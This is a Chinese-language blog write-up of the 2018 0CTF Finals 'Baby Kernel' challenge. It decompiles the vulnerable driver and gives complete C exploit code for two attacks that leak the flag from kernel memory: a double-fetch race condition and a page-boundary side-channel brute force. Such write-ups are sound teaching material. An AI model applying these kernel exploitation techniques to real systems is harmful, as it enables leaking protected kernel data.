kernel pwn基础[2]
196082 慢慢好起来

2018 0CTF Finals Baby Kernel

这次题目的附件只有驱动和文件系统没有bzImage

1
2
tcdy@arch-linux ..study_kernel/2018_0CTFFinalsBabyKernel % strings baby.ko | grep vermagic=
vermagic=4.15.0-22-generic SMP mod_unload
1
2
3
4
5
6
7
8
tcdy@196082:~/Desktop/download/study_kernel$ sudo apt download linux-image-4.15.0-22-generic 
Get:1 https://mirrors.ustc.edu.cn/ubuntu bionic-updates/main amd64 linux-image-4.15.0-22-generic amd64 4.15.0-22.24 [7,875 kB]
Fetched 7,875 kB in 1s (5,913 kB/s)
tcdy@196082:~/Desktop/download/study_kernel$ ar x linux-image-4.15.0-22-generic_4.15.0-22.24_amd64.deb
tcdy@196082:~/Desktop/download/study_kernel$ tar -xf data.tar.xz
tcdy@196082:~/Desktop/download/study_kernel$ cd boot/
tcdy@196082:~/Desktop/download/study_kernel/boot$ file vmlinuz-4.15.0-22-generic
vmlinuz-4.15.0-22-generic: Linux kernel x86 boot executable bzImage, version 4.15.0-22-generic (buildd@lgw01-amd64-013) #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018, RO-rootFS, swap_dev 0x7, Normal VGA

分析驱动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall baby_ioctl(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
int i; // [rsp-5Ch] [rbp-5Ch]
__int64 v5; // [rsp-58h] [rbp-58h]

_fentry__(a1, a2);
v5 = v2;
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
return 0LL;
}
else if ( (_DWORD)a2 == 0x1337
&& (unsigned __int8)_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)) != 1
&& (unsigned __int8)_chk_range_not_ok(
*(_QWORD *)v5,
*(int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)) != 1
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
}
else
{
return 14LL;
}
}

首先可以看到函数分为两部分,第一部分就是打印出flag的地址,第二部分则是经过两次检验之后进入下面的逐字节对比。

1
2
3
4
5
6
7
8
9
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
bool v3; // cf
unsigned __int64 v4; // rdi

v3 = __CFADD__(a2, a1);
v4 = a2 + a1;
return v3 || a3 < v4;
}

这个验证函数些许看不懂,直接看汇编好一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0000000000000000 55                            push    rbp
.text:0000000000000001 48 01 F7 add rdi, rsi
.text:0000000000000004 48 89 E5 mov rbp, rsp
.text:0000000000000007 72 08 jb short loc_11
.text:0000000000000007
.text:0000000000000009 48 39 FA cmp rdx, rdi
.text:000000000000000C 0F 92 C0 setb al
.text:000000000000000F 5D pop rbp
.text:0000000000000010 C3 retn
.text:0000000000000010
.text:0000000000000011 ; -----------------------------------------------------------------------
.text:0000000000000011
.text:0000000000000011 loc_11: ; CODE XREF: __chk_range_not_ok+7↑j
.text:0000000000000011 B8 01 00 00 00 mov eax, 1
.text:0000000000000016 5D pop rbp
.text:0000000000000017 C3 retn

就是第一个参数和第二个参数的和必须小于第三个参数

1
2
3
4
5
&& (unsigned __int8)_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)) != 1
&& (unsigned __int8)_chk_range_not_ok(
*(_QWORD *)v5,
*(int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)) != 1

image

可以看到这里其实就是看看传入的参数是否是用户态

这道提分为两种利用方式,这里都提一下(毕竟我都还不会)

Double Fetch

这一利用方式可以看做是条件竞争,这里是两次验证,第一次验证是否为用户态,第二次逐字检查flag,那么要是在第一检查结束后将地址换成正真的flag地址,那么后一个验证即可绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>

int finished = 0;
int Time = 1000;
size_t flag_addr;

struct fake_flag
{
size_t *addr;
size_t size;
};

void change_flag_addr(void *s)
{
struct fake_flag *a = s;
while (finished == 0)
{
a->addr = flag_addr;
}
}

int main(argc, argv)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
struct fake_flag target;

int fd = open("/dev/baby", 0);
ioctl(fd, 0x6666);
system("dmesg > record.txt");
int flag_addr_fd = open("./record.txt", O_RDONLY);
char buf[0x1000] = {0};
lseek(flag_addr_fd, -0x1000, SEEK_END);
read(flag_addr_fd, buf, sizeof(buf));
close(flag_addr_fd);
char *idx;
idx = strstr(buf, "Your flag is at ");
flag_addr = strtoull(idx + 16, idx + 32, 16);
printf("[*]flag addr=>%p\n", flag_addr);

target.addr = buf;
target.size = 33;
pthread_t thread;
pthread_create(&thread, NULL, change_flag_addr, &target);
for (int i = 0; i < Time; i++)
{
ioctl(fd, 0x1337, &target);
target.addr = buf;
}
finished = 1;
pthread_join(thread, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag");
}

侧信道攻击

名字虽然听起来很高端,实际干的事情就是爆破每一个字节。

方法的原理就是:创建三个段,除了中间的段可读可写外,其他段的权限都为000,那么我们将flag放到第二个段的末尾,然后将猜测的字符放到最后一个,当最后一个字符不正确的时候就会直接退出,但是当最后一个字符正确的时候就会因为权限问题报错,并且系统崩溃

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/mman.h>

int main()
{
char *ch = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890,._-";
char flag[0x30] = {0};
char command[0x100] = {0};
char command1[0x100] = {0};
FILE *fd = fopen("save.txt", "r");
fscanf(fd, "%s", flag);
fclose(fd);
for (int i = 0; i < strlen(ch); i++)
{
sprintf(command, "echo \"%s%c\" > save.txt", flag, ch[i]);
sprintf(command1, "./exp %s%c", flag, ch[i]);
system(command);
system(command1);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/mman.h>

struct flag
{
size_t addr;
size_t size;
};

main(int argc, char *argv[])
{
char *buf;
mmap(0, 0x1000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
mmap(0, 0x1000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
for (int i = 0; i < strlen(argv[1]); i++)
{
buf[0x1000 - strlen(argv[1]) + i] = argv[1][i];
}
printf("[*]flag=>%s\n", argv[1]);
struct flag target;
target.size = 33;
target.addr = buf + 0x1000 - strlen(argv[1]);
int fd = open("/dev/baby", O_RDWR);
ioctl(fd, 0x1337, &target);
close(fd);
}
 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量